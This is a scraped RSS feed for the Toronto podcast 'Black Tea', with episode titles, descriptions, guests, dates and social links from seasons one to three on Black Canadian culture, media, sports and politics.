https://simplecast.com Black Tea Toronto is a multicultural hotspot. But the diversity that makes the city special isn’t often reflected in the stories we hear and the discussions we have. Black Tea will change that. Dalton Higgins and Melayna Williams are here to bring important and uncomfortable Black community conversations out in the open, and to have some laughs while doing it. 2008-2020 Rogers Media. All rights reserved. en Mon, 15 Nov 2021 09:00:00 +0000 Mon, 4 Aug 2025 08:44:52 +0000 https://frequencypodcastnetwork.com/podcasts/black-tea/ Black Tea https://image.simplecastcdn.com/images/5af4a905-0d2b-4a3e-97c7-cc0f4c4c6893/ef2a2184-1692-470b-befd-c3fbb2ba84e9/3000x3000/black-tea-s02-3000x3000-2.jpg?aid=rss_feed https://frequencypodcastnetwork.com/podcasts/black-tea/ episodic Toronto is a multicultural hotspot. But the diversity that makes the city special isn’t often reflected in the stories we hear and the discussions we have. Black Tea will change that. Dalton Higgins and Melayna Williams are here to bring important and uncomfortable Black community conversations out in the open, and to have some laughs while doing it. Frequency Podcast Network false https://feeds.simplecast.com/RereR4o4 Frequency Podcast Network rogerspodcastnetwork@rci.rogers.com 59babd93-26c7-486f-94c5-db85ea564e82 It's hard to say Goodbye Dalton and Mel speak to Ghanaian-Canadian animator Gyimah Gariba. Mel is convinced Big Sean has to unionize. 

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Huda Hassan CBC Arts article: How Gyimah Gariba is using caricature to push for a more empathetic world

Mel on Twitter

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]]> Mon, 15 Nov 2021 09:00:00 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Dalton and Mel speak to Ghanaian-Canadian animator Gyimah Gariba. Mel is convinced Big Sean has to unionize. 

Links from this episode:

Huda Hassan CBC Arts article: How Gyimah Gariba is using caricature to push for a more empathetic world

Mel on Twitter

Dalton on Twitter

]]> It's hard to say Goodbye Frequency Podcast Network 00:43:24 Dalton and Mel speak to Ghanaian-Canadian animator Gyimah Gariba. Mel is convinced Big Sean has to unionize. Dalton and Mel speak to Ghanaian-Canadian animator Gyimah Gariba. Mel is convinced Big Sean has to unionize. true full 8 3 faebdf55-b80b-4029-a887-9612acb05d23 Schooled by the Professor Mel and Dalton talk to professor, author and public intellectual Rinaldo Walcott about the state of Black life, history and how to imagine and create a better world. 

]]> Mon, 8 Nov 2021 09:00:00 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Mel and Dalton talk to professor, author and public intellectual Rinaldo Walcott about the state of Black life, history and how to imagine and create a better world. 

]]> Schooled by the Professor Frequency Podcast Network 00:32:05 Mel and Dalton talk to professor, author and public intellectual Rinaldo Walcott about the state of Black life, history and how to imagine and create a better world. Mel and Dalton talk to professor, author and public intellectual Rinaldo Walcott about the state of Black life, history and how to imagine and create a better world. false full 7 3 5c99891e-8c5c-482a-a791-2d27927b67a2 Rollie Ain't Your Average Everyday Rapper Dalton and Mel chat with 2021 Polaris Music Prize winner Cadence Weapon about politics, storytelling and social justice.

Cadence Weapon on Instagram: https://www.instagram.com/cadenceweapon

Cadence Weapon on Twitter: https://twitter.com/cadenceweapon

Mel on Twitter: https://twitter.com/MelaynaWilliams

Dalton on Twitter: https://twitter.com/daltonhiggins5

]]> Mon, 1 Nov 2021 08:00:00 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Dalton and Mel chat with 2021 Polaris Music Prize winner Cadence Weapon about politics, storytelling and social justice.

Cadence Weapon on Instagram: https://www.instagram.com/cadenceweapon

Cadence Weapon on Twitter: https://twitter.com/cadenceweapon

Mel on Twitter: https://twitter.com/MelaynaWilliams

Dalton on Twitter: https://twitter.com/daltonhiggins5

]]> Rollie Ain't Your Average Everyday Rapper Frequency Podcast Network 00:29:16 Dalton and Mel chat with 2021 Polaris Music Prize winner Cadence Weapon about politics, storytelling and social justice. Dalton and Mel chat with 2021 Polaris Music Prize winner Cadence Weapon about politics, storytelling and social justice. false full 6 3 773f430b-6156-4d9e-b20e-5aa5d3fcb758 Bet on yourself Mel and Dalton talk to media trailblazer Brandon Gonez about doing media his way, real representation and connecting to communities through authentic storytelling.

The Brandon Gonez Show: https://www.youtube.com/c/BrandonGonezShow

Brandon Gonez on Instagram: https://www.instagram.com/brandongonez/

Mel on Twitter: https://twitter.com/MelaynaWilliams

Dalton on Twitter: https://twitter.com/daltonhiggins5

]]> Mon, 25 Oct 2021 08:00:00 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Mel and Dalton talk to media trailblazer Brandon Gonez about doing media his way, real representation and connecting to communities through authentic storytelling.

The Brandon Gonez Show: https://www.youtube.com/c/BrandonGonezShow

Brandon Gonez on Instagram: https://www.instagram.com/brandongonez/

Mel on Twitter: https://twitter.com/MelaynaWilliams

Dalton on Twitter: https://twitter.com/daltonhiggins5

]]> Bet on yourself Frequency Podcast Network 00:32:16 Mel and Dalton talk to media trailblazer Brandon Gonez about doing media his way, real representation and connecting to communities through authentic storytelling. Mel and Dalton talk to media trailblazer Brandon Gonez about doing media his way, real representation and connecting to communities through authentic storytelling. false full 5 3 6aed39cd-e781-4763-b4ef-7b47a3fa7581 Model Behaviour Jamaican-Canadian legend Stacey McKenzie spills tea on modelling, work ethic, diversifying her talent and how much has changed in the industry. Mel wishes Dave Chappelle would stop.

Stacey McKenzie on Instagram: https://www.instagram.com/therealstaceymckenzie

Dalton on Twitter: https://twitter.com/daltonhiggins5

Mel on Twitter: https://twitter.com/MelaynaWilliams

]]> Mon, 18 Oct 2021 08:00:00 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Jamaican-Canadian legend Stacey McKenzie spills tea on modelling, work ethic, diversifying her talent and how much has changed in the industry. Mel wishes Dave Chappelle would stop.

Stacey McKenzie on Instagram: https://www.instagram.com/therealstaceymckenzie

Dalton on Twitter: https://twitter.com/daltonhiggins5

Mel on Twitter: https://twitter.com/MelaynaWilliams

]]> Model Behaviour Frequency Podcast Network 00:32:50 Jamaican-Canadian legend Stacey McKenzie spills tea on modelling, work ethic, diversifying her talent and how much has changed in the industry. Mel wishes Dave Chappelle would stop. Jamaican-Canadian legend Stacey McKenzie spills tea on modelling, work ethic, diversifying her talent and how much has changed in the industry. Mel wishes Dave Chappelle would stop. false full 4 3 0d0b75b2-7fcd-4a10-8b79-d155c97a0866 Boss moves with Tracy Moore Mel and Dalton sit down with media maven Tracy Moore to talk about her daytime talk show, entrepreneurism, family life, social media and being a boss.

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Tracy Moore on Instagram: https://www.instagram.com/thetracymoore/

Tracy Moore's clothing line: https://www.instagram.com/tracymoorexfredas

Dalton on Twitter: https://twitter.com/daltonhiggins5

Mel on Twitter: https://twitter.com/MelaynaWilliams

 

]]> Tue, 12 Oct 2021 08:00:00 +0000 rogerspodcastnetwork@rci.rogers.com (Tracy Moore, Melayna Williams, Dalton Higgins) https://frequencypodcastnetwork.com/podcasts/black-tea/ Mel and Dalton sit down with media maven Tracy Moore to talk about her daytime talk show, entrepreneurism, family life, social media and being a boss.

Links from the show:

Tracy Moore on Instagram: https://www.instagram.com/thetracymoore/

Tracy Moore's clothing line: https://www.instagram.com/tracymoorexfredas

Dalton on Twitter: https://twitter.com/daltonhiggins5

Mel on Twitter: https://twitter.com/MelaynaWilliams

 

]]> Boss moves with Tracy Moore Tracy Moore, Melayna Williams, Dalton Higgins 00:34:57 Mel and Dalton sit down with media maven Tracy Moore to talk about her daytime talk show, entrepreneurism, family life, social media and being a boss. Mel and Dalton sit down with media maven Tracy Moore to talk about her daytime talk show, entrepreneurism, family life, social media and being a boss. false full 3 3 11a8af35-7e2b-4d2c-bf89-3bd7c549979a Africadia: When The East Is In The House Dalton and Mel speak to two people involved in CBC legal drama Diggstown: star of the series, Vinessa Antoine and journalist, playwright, film and theatre director, Juanita Peters–who is directing an episode of the show this season. They talk about how the show raises Black Canadian issues, its importance in the Canadian TV landscape, Nova Scotia, and even Diddy.

Then Dalton has some hopeful words for the Fugees tour.

Links from the show:

Diggstown on CBC Gem: https://gem.cbc.ca/media/diggstown/s03b01?cmp=DM_SEM_diggstowns3

The story of Africville: https://humanrights.ca/story/the-story-of-africville

Dalton on Twitter: https://twitter.com/daltonhiggins5

Mel on Twitter: https://twitter.com/MelaynaWilliams

 

]]> Mon, 4 Oct 2021 08:00:00 +0000 rogerspodcastnetwork@rci.rogers.com (dalton higgins, vinessa antoine, melayna williams, Juanita Peters) https://frequencypodcastnetwork.com/podcasts/black-tea/ Dalton and Mel speak to two people involved in CBC legal drama Diggstown: star of the series, Vinessa Antoine and journalist, playwright, film and theatre director, Juanita Peters–who is directing an episode of the show this season. They talk about how the show raises Black Canadian issues, its importance in the Canadian TV landscape, Nova Scotia, and even Diddy.

Then Dalton has some hopeful words for the Fugees tour.

Links from the show:

Diggstown on CBC Gem: https://gem.cbc.ca/media/diggstown/s03b01?cmp=DM_SEM_diggstowns3

The story of Africville: https://humanrights.ca/story/the-story-of-africville

Dalton on Twitter: https://twitter.com/daltonhiggins5

Mel on Twitter: https://twitter.com/MelaynaWilliams

 

]]> Africadia: When The East Is In The House dalton higgins, vinessa antoine, melayna williams, Juanita Peters 00:27:28 Dalton and Mel speak to two people involved in CBC legal drama Diggstown: star of the series, Vinessa Antoine and journalist, playwright, film and theatre director, Juanita Peters–who is directing an episode of the show this season. They talk about how the show raises Black Canadian issues, its importance in the Canadian TV landscape, Nova Scotia, and even Diddy. Then Dalton has some hopeful words for the Fugees tour. Dalton and Mel speak to two people involved in CBC legal drama Diggstown: star of the series, Vinessa Antoine and journalist, playwright, film and theatre director, Juanita Peters–who is directing an episode of the show this season. They talk about how the show raises Black Canadian issues, its importance in the Canadian TV landscape, Nova Scotia, and even Diddy. Then Dalton has some hopeful words for the Fugees tour. false full 2 3 02d17f05-bc0f-4b46-b609-331041d05c4f Producer Princess Talks Real Housewives of Atlanta and Entrepreneurism Dalton and Mel sit down with Jamaican/Canadian legend, Producer/ Development executive and author Princess Banton-Lofters, founder of the Bravo hit show The Real Housewives of Atlanta and CEO of Loft 22 Entertainment. 

They chat about all things career, strength, perseverance, and how to tell authentic  Black stories. Princess also spills the tea on what it was like to discover reality superstar Nene Leakes, and work with the infamous housewives.

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Dalton on Twitter: https://twitter.com/daltonhiggins5

Mel on Twitter: https://twitter.com/MelaynaWilliams

Princess on Instagram: https://www.instagram.com/producerprincess/

]]> Mon, 27 Sep 2021 08:00:00 +0000 rogerspodcastnetwork@rci.rogers.com (Melayna Williams, Princess Banton-Lofters, Dalton Higgins) https://frequencypodcastnetwork.com/podcasts/black-tea/ Dalton and Mel sit down with Jamaican/Canadian legend, Producer/ Development executive and author Princess Banton-Lofters, founder of the Bravo hit show The Real Housewives of Atlanta and CEO of Loft 22 Entertainment. 

They chat about all things career, strength, perseverance, and how to tell authentic  Black stories. Princess also spills the tea on what it was like to discover reality superstar Nene Leakes, and work with the infamous housewives.

Links from the show:

Dalton on Twitter: https://twitter.com/daltonhiggins5

Mel on Twitter: https://twitter.com/MelaynaWilliams

Princess on Instagram: https://www.instagram.com/producerprincess/

]]> Producer Princess Talks Real Housewives of Atlanta and Entrepreneurism Melayna Williams, Princess Banton-Lofters, Dalton Higgins 00:40:58 Dalton and Mel sit down with Jamaican/Canadian legend, Producer/ Development executive and author Princess Banton- Lofters, founder of the Bravo hit show The Real Housewives of Atlanta and CEO of Loft 22 Entertainment. They chat about all things career, strength, perseverance, and how to tell authentic Black stories. Princess also spills the tea on what it was like to discover reality superstar Nene Leakes, and work with the infamous housewives. Dalton and Mel sit down with Jamaican/Canadian legend, Producer/ Development executive and author Princess Banton- Lofters, founder of the Bravo hit show The Real Housewives of Atlanta and CEO of Loft 22 Entertainment. They chat about all things career, strength, perseverance, and how to tell authentic Black stories. Princess also spills the tea on what it was like to discover reality superstar Nene Leakes, and work with the infamous housewives. false full 1 3 6d839d85-8c96-4b91-991c-e11973eb85c3 Welcome to Season 3 B(l)ack by popular demand, Melayna Williams and Dalton Higgins won't be holding back when they spill the tea. This season, we will get into Black art, creativity, politics, fashion and more. Prepare to learn, laugh, and get uncomfortable as Mel and Dalton guide you through necessary conversations surrounding race. Listen to season 3 on September 27th.

]]> Tue, 14 Sep 2021 18:59:16 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ B(l)ack by popular demand, Melayna Williams and Dalton Higgins won't be holding back when they spill the tea. This season, we will get into Black art, creativity, politics, fashion and more. Prepare to learn, laugh, and get uncomfortable as Mel and Dalton guide you through necessary conversations surrounding race. Listen to season 3 on September 27th.

]]> Welcome to Season 3 Frequency Podcast Network 00:01:25 B(l)ack by popular demand, Melayna Williams and Dalton Higgins won't be holding back when they spill the tea. This season, we will get into Black art, creativity, politics, fashion and more. Prepare to learn, laugh, and get uncomfortable as Mel and Dalton guide you through necessary conversations surrounding race. Listen to season 3 on September 27th. B(l)ack by popular demand, Melayna Williams and Dalton Higgins won't be holding back when they spill the tea. This season, we will get into Black art, creativity, politics, fashion and more. Prepare to learn, laugh, and get uncomfortable as Mel and Dalton guide you through necessary conversations surrounding race. Listen to season 3 on September 27th. false trailer 3 http://frequencypodcastnetwork.com/?p=2320 Black Foodies We talk to one of Canada’s most popular food Influencers Ryan Hinkson (Eat Famous) about hot culinary trends, the relationship between food and race, food photography, and customer service stereotypes.

]]> Tue, 29 Sep 2020 08:00:37 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ We talk to one of Canada’s most popular food Influencers Ryan Hinkson (Eat Famous) about hot culinary trends, the relationship between food and race, food photography, and customer service stereotypes.

]]> Black Foodies Frequency Podcast Network 00:37:15 We talk to one of Canada’s most popular food Influencers Ryan Hinkson (Eat Famous) about hot culinary trends, the relationship between food and race, food photography, and customer service stereotypes. We talk to one of Canada’s most popular food Influencers Ryan Hinkson (Eat Famous) about hot culinary trends, the relationship between food and race, food photography, and customer service stereotypes. false full 8 2 http://frequencypodcastnetwork.com/?p=2315 Afro-Indigenous Colombian Identity, Music and Art We talk to Polaris Prize winning singer/songwriter and visual artist Lido Pimienta about her music and artistic process, Black and Indigenous identity in Colombia, motherhood and more.

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]]> Beats, Rhymes and Life Frequency Podcast Network 00:38:45 Art is supposed to reflect the times– so what is the responsibility of artists who document the Black community? We are always having an unending discussion on Black music and how much we own, can claim and who profits. Guest: Kardinal Offishall Art is supposed to reflect the times– so what is the responsibility of artists who document the Black community? We are always having an unending discussion on Black music and how much we own, can claim and who profits. Guest: Kardinal Offishall false full 6 2 http://frequencypodcastnetwork.com/?p=2268 Influencer Culture Her journey into becoming one of the most visible Black influencers in Canada is such a fascinating one. Today we talk to Sasha Exeter about how her education, experiences with competitive sports and career shaped her into crafting a career from scratch, before the term “influencer” was at the tip of everyone’s tongue. And for those who don’t know, what does an Influencer do every day? During this wide- ranging discussion, we also talk about Sasha’s journey navigating how she uses your voice and influence to impact and empower others.

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]]> Tue, 8 Sep 2020 08:00:08 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Her journey into becoming one of the most visible Black influencers in Canada is such a fascinating one. Today we talk to Sasha Exeter about how her education, experiences with competitive sports and career shaped her into crafting a career from scratch, before the term “influencer” was at the tip of everyone’s tongue. And for those who don’t know, what does an Influencer do every day? During this wide- ranging discussion, we also talk about Sasha’s journey navigating how she uses your voice and influence to impact and empower others.

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]]> Influencer Culture Frequency Podcast Network 00:32:37 Her journey into becoming one of the most visible Black influencers in Canada is such a fascinating one. Today we talk to Sasha Exeter about how her education, experiences with competitive sports and career shaped her into crafting a career from scratch, before the term “influencer” was at the tip of everyone’s tongue. And for those who don’t know, what does an Influencer do every day? During this wide- ranging discussion, we also talk about Sasha’s journey navigating how she uses your voice and influence to impact and empower others. Guest: Sasha Exeter Her journey into becoming one of the most visible Black influencers in Canada is such a fascinating one. Today we talk to Sasha Exeter about how her education, experiences with competitive sports and career shaped her into crafting a career from scratch, before the term “influencer” was at the tip of everyone’s tongue. And for those who don’t know, what does an Influencer do every day? During this wide- ranging discussion, we also talk about Sasha’s journey navigating how she uses your voice and influence to impact and empower others. Guest: Sasha Exeter false full 5 2 http://frequencypodcastnetwork.com/?p=2247 Satire, Comedy and Politics: Roles, Responsibilities and Mishaps Comedy and satire continue to serve as excellent mediums for political discourse and critique. What responsibilities do the comedians have to the communities they joke about? If this is a form of allyship, and what role does representation have?

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]]> Satire, Comedy and Politics: Roles, Responsibilities and Mishaps Frequency Podcast Network 00:43:15 Comedy and satire continue to serve as excellent mediums for political discourse and critique. What responsibilities do the comedians have to the communities they joke about? If this is a form of allyship, and what role does representation have? Guest: Ryan McMahon Comedy and satire continue to serve as excellent mediums for political discourse and critique. What responsibilities do the comedians have to the communities they joke about? If this is a form of allyship, and what role does representation have? Guest: Ryan McMahon false full 4 2 http://frequencypodcastnetwork.com/?p=2233 Race, Gender & Canadian Politics Our political landscape is missing a myriad of voices, including Black women. How has this impacted the news cycle, or affected the minds and ideologies of voters?

GUEST: Celina Caesar-Chavannes

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]]> Tue, 25 Aug 2020 08:00:12 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Our political landscape is missing a myriad of voices, including Black women. How has this impacted the news cycle, or affected the minds and ideologies of voters?

GUEST: Celina Caesar-Chavannes

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]]> Race, Gender & Canadian Politics Frequency Podcast Network 00:40:05 Our political landscape is missing a myriad of voices, including Black women. How has this impacted the news cycle, or affected the minds and ideologies of voters? GUEST: Celina Caesar-Chavannes Our political landscape is missing a myriad of voices, including Black women. How has this impacted the news cycle, or affected the minds and ideologies of voters? GUEST: Celina Caesar-Chavannes false full 3 2 http://frequencypodcastnetwork.com/?p=2211 The Politics of Sports We are in an unprecedented moment and sports is not immune to the major shifts in consciousness occurring at this time. The theme of accountability is constantly being applied, and racism in sports has come to the forefront. The infrastructure around the business of sports continues to contain gatekeepers and barriers affected by racism. We want to discuss racism at all levels of the sports world.

GUEST: Morgan Campbell

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]]> The Politics of Sports Frequency Podcast Network 00:45:40 We are in an unprecedented moment and sports is not immune to the major shifts in consciousness occurring at this time. The theme of accountability is constantly being applied, and racism in sports has come to the forefront. The infrastructure around the business of sports continues to contain gatekeepers and barriers affected by racism. We want to discuss racism at all levels of the sports world. GUEST: Morgan Campbell We are in an unprecedented moment and sports is not immune to the major shifts in consciousness occurring at this time. The theme of accountability is constantly being applied, and racism in sports has come to the forefront. The infrastructure around the business of sports continues to contain gatekeepers and barriers affected by racism. We want to discuss racism at all levels of the sports world. GUEST: Morgan Campbell false full 2 2 http://frequencypodcastnetwork.com/?p=2192 Black Women in Media: Truth, Accountability There has been a lot of whistleblowing about anti-Black racism in the workplace in almost every profession. Unspoken issues at work ranging from micro-aggressions to outright racism are being recounted, and countless companies are being held accountable. What is this moment going to produce? What kind of future are we building?

GUEST: Kathleen Newman-Bremang

 

]]> Tue, 11 Aug 2020 08:00:02 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ There has been a lot of whistleblowing about anti-Black racism in the workplace in almost every profession. Unspoken issues at work ranging from micro-aggressions to outright racism are being recounted, and countless companies are being held accountable. What is this moment going to produce? What kind of future are we building?

GUEST: Kathleen Newman-Bremang

 

]]> Black Women in Media: Truth, Accountability Frequency Podcast Network 00:35:14 There has been a lot of whistleblowing about anti-Black racism in the workplace in almost every profession. Unspoken issues at work ranging from micro-aggressions to outright racism are being recounted, and countless companies are being held accountable. What is this moment going to produce? What kind of future are we building? GUEST: Kathleen Newman-Bremang There has been a lot of whistleblowing about anti-Black racism in the workplace in almost every profession. Unspoken issues at work ranging from micro-aggressions to outright racism are being recounted, and countless companies are being held accountable. What is this moment going to produce? What kind of future are we building? GUEST: Kathleen Newman-Bremang false full 1 2 http://frequencypodcastnetwork.com/?p=2162 Welcome to Season 2 B(l)ack by popular demand, Black Tea season 2 is bringing the same unapologetically Black content, unfiltered raw opinions and dope guests. We’ll be getting into all things Black, and much tea will get spilled. We are going to explore art, politics, pop culture, sports, economics and more beyond a single story or simple representation.

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]]> Tue, 4 Aug 2020 08:00:24 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ B(l)ack by popular demand, Black Tea season 2 is bringing the same unapologetically Black content, unfiltered raw opinions and dope guests. We’ll be getting into all things Black, and much tea will get spilled. We are going to explore art, politics, pop culture, sports, economics and more beyond a single story or simple representation.

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]]> Welcome to Season 2 Frequency Podcast Network 00:01:51 B(l)ack by popular demand, Black Tea season 2 is bringing the same unapologetically Black content, unfiltered raw opinions and dope guests. We'll be getting into all things Black, and much tea will get spilled. We are going to explore art, politics, pop culture, sports, economics and more beyond a single story or simple representation. B(l)ack by popular demand, Black Tea season 2 is bringing the same unapologetically Black content, unfiltered raw opinions and dope guests. We'll be getting into all things Black, and much tea will get spilled. We are going to explore art, politics, pop culture, sports, economics and more beyond a single story or simple representation. false trailer 2 http://frequencypodcastnetwork.com/?p=699 Black Queer Visibility The Black community often replicates the harmful and oppressive structures of white supremacy on it’s queer members. What are some ways we can build stronger ties between the broader Black community and LGBTQ+ people?

Guest: Kim Katrin Milan, Human Rights Educator and Writer

]]> Thu, 20 Dec 2018 12:00:42 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ The Black community often replicates the harmful and oppressive structures of white supremacy on it’s queer members. What are some ways we can build stronger ties between the broader Black community and LGBTQ+ people?

Guest: Kim Katrin Milan, Human Rights Educator and Writer

]]> Black Queer Visibility Frequency Podcast Network 00:45:10 The Black community often replicates the harmful and oppressive structures of white supremacy on it's queer members. What are some ways we can build stronger ties between the broader Black community and LGBTQ+ people? Guest: Kim Katrin Milan, Human Rights Educator and Writer The Black community often replicates the harmful and oppressive structures of white supremacy on it's queer members. What are some ways we can build stronger ties between the broader Black community and LGBTQ+ people? Guest: Kim Katrin Milan, Human Rights Educator and Writer false full 8 1 http://frequencypodcastnetwork.com/?p=695 2018 Best in Blackness This week, Melayna, Andray and A.Harmony break down this year’s best (and worst) moments in Blackness by spilling as much tea as possible.

Guest: Writer and Hip-hop artist, A.Harmony

]]> Thu, 13 Dec 2018 17:27:21 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ This week, Melayna, Andray and A.Harmony break down this year’s best (and worst) moments in Blackness by spilling as much tea as possible.

Guest: Writer and Hip-hop artist, A.Harmony

]]> 2018 Best in Blackness Frequency Podcast Network 00:30:13 This week, Melayna, Andray and A.Harmony break down this year's best (and worst) moments in Blackness by spilling as much tea as possible. Guest: Writer and Hip-hop artist, A.Harmony This week, Melayna, Andray and A.Harmony break down this year's best (and worst) moments in Blackness by spilling as much tea as possible. Guest: Writer and Hip-hop artist, A.Harmony false full 7 1 http://frequencypodcastnetwork.com/?p=685 Black Film & TV Yes, diversity is a buzzword, but it also represents essential strides in the film and television industry related to viewership and box office returns. For some reason, that shift hasn’t resonated in Canada. How can we change that?

Guest: Amanda Parris, Television and Radio Host, Writer.

]]> Thu, 6 Dec 2018 12:00:23 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Yes, diversity is a buzzword, but it also represents essential strides in the film and television industry related to viewership and box office returns. For some reason, that shift hasn’t resonated in Canada. How can we change that?

Guest: Amanda Parris, Television and Radio Host, Writer.

]]> Black Film & TV Frequency Podcast Network 00:39:43 Yes, diversity is a buzzword, but it also represents essential strides in the film and television industry related to viewership and box office returns. For some reason, that shift hasn’t resonated in Canada. How can we change that? Guest: Amanda Parris, Television and Radio Host, Writer. Yes, diversity is a buzzword, but it also represents essential strides in the film and television industry related to viewership and box office returns. For some reason, that shift hasn’t resonated in Canada. How can we change that? Guest: Amanda Parris, Television and Radio Host, Writer. false full 6 1 http://frequencypodcastnetwork.com/?p=655 Blackness, Sports and Activism Growing up, the athlete was portrayed as shallow, unintelligent, and unconcerned with the affairs of the world. This has never been the case with Black athletes, so why are white sports fans continually surprised? We talk to Donnovan Bennett from Sportsnet about the implications and stakes surrounding the activist athlete.

Guest: Donnovan Bennet, Sportsnet Host, Writer

 

]]> Thu, 29 Nov 2018 17:31:37 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Growing up, the athlete was portrayed as shallow, unintelligent, and unconcerned with the affairs of the world. This has never been the case with Black athletes, so why are white sports fans continually surprised? We talk to Donnovan Bennett from Sportsnet about the implications and stakes surrounding the activist athlete.

Guest: Donnovan Bennet, Sportsnet Host, Writer

 

]]> Blackness, Sports and Activism Frequency Podcast Network 00:43:08 Growing up, the athlete was portrayed as shallow, unintelligent, and unconcerned with the affairs of the world. This has never been the case with Black athletes, so why are white sports fans continually surprised? We talk to Donnovan Bennett from Sportsnet about the implications and stakes surrounding the activist athlete. Guest: Donnovan Bennet, Sportsnet Host, Writer Growing up, the athlete was portrayed as shallow, unintelligent, and unconcerned with the affairs of the world. This has never been the case with Black athletes, so why are white sports fans continually surprised? We talk to Donnovan Bennett from Sportsnet about the implications and stakes surrounding the activist athlete. Guest: Donnovan Bennet, Sportsnet Host, Writer false full 5 1 http://frequencypodcastnetwork.com/?p=626 Black Art in Canada Why do Black artists in this country have to leave home to find their fame? And why are we only happy to claim them after they’ve already made it somewhere else? How can we offer better support to our artists early on and what can we do to help our Canadian artists stay in Canada and still find global success?

Guest: Dalton Higgins, Author

]]> Thu, 22 Nov 2018 12:00:13 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Why do Black artists in this country have to leave home to find their fame? And why are we only happy to claim them after they’ve already made it somewhere else? How can we offer better support to our artists early on and what can we do to help our Canadian artists stay in Canada and still find global success?

Guest: Dalton Higgins, Author

]]> Black Art in Canada Frequency Podcast Network 00:36:34 Why do Black artists in this country have to leave home to find their fame? And why are we only happy to claim them after they’ve already made it somewhere else? How can we offer better support to our artists early on and what can we do to help our Canadian artists stay in Canada and still find global success? Guest: Dalton Higgins, Author Why do Black artists in this country have to leave home to find their fame? And why are we only happy to claim them after they’ve already made it somewhere else? How can we offer better support to our artists early on and what can we do to help our Canadian artists stay in Canada and still find global success? Guest: Dalton Higgins, Author false full 4 1 http://frequencypodcastnetwork.com/?p=619 Respectability Politics Most Black people show up differently depending on the world they’re in—from life at work to with friends to at home, there’s often code-switching at play. And, since Canada is so multicultural, young Black people are commonly subjected to a simple two-letter phrase: “white-washed.” On the surface, this seems trivial but deep down, to be “white-washed” means something much bigger than simply seeming white. What does this phrase really mean and how does respectability play a role in daily Black life?

Guest: Sajae Elder

 

]]> Thu, 15 Nov 2018 17:50:19 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Most Black people show up differently depending on the world they’re in—from life at work to with friends to at home, there’s often code-switching at play. And, since Canada is so multicultural, young Black people are commonly subjected to a simple two-letter phrase: “white-washed.” On the surface, this seems trivial but deep down, to be “white-washed” means something much bigger than simply seeming white. What does this phrase really mean and how does respectability play a role in daily Black life?

Guest: Sajae Elder

 

]]> Respectability Politics Frequency Podcast Network 00:28:05 Most Black people show up differently depending on the world they’re in—from life at work to with friends to at home, there’s often code-switching at play. And, since Canada is so multicultural, young Black people are commonly subjected to a simple two-letter phrase: “white-washed.” On the surface, this seems trivial but deep down, to be “white-washed” means something much bigger than simply seeming white. What does this phrase really mean and how does respectability play a role in daily Black life? Guest: Sajae Elder Most Black people show up differently depending on the world they’re in—from life at work to with friends to at home, there’s often code-switching at play. And, since Canada is so multicultural, young Black people are commonly subjected to a simple two-letter phrase: “white-washed.” On the surface, this seems trivial but deep down, to be “white-washed” means something much bigger than simply seeming white. What does this phrase really mean and how does respectability play a role in daily Black life? Guest: Sajae Elder false full 3 1 http://frequencypodcastnetwork.com/?p=610 Smoked Out: Cannabis and the Black Community Is the legalization of cannabis actually good for Canada’s Black community? And how is it that public officials—the same ones who were wholly against legalization while Black people were being imprisoned at alarming rates—are now profiting from the industry? The director of the Cannabis Amnesty campaign joins us in the studio to drop some knowledge.

Guest: Annamaria Enenajor

 

]]> Thu, 8 Nov 2018 17:04:17 +0000 rogerspodcastnetwork@rci.rogers.com (Frequency Podcast Network) https://frequencypodcastnetwork.com/podcasts/black-tea/ Is the legalization of cannabis actually good for Canada’s Black community? And how is it that public officials—the same ones who were wholly against legalization while Black people were being imprisoned at alarming rates—are now profiting from the industry? The director of the Cannabis Amnesty campaign joins us in the studio to drop some knowledge.

Guest: Annamaria Enenajor

 

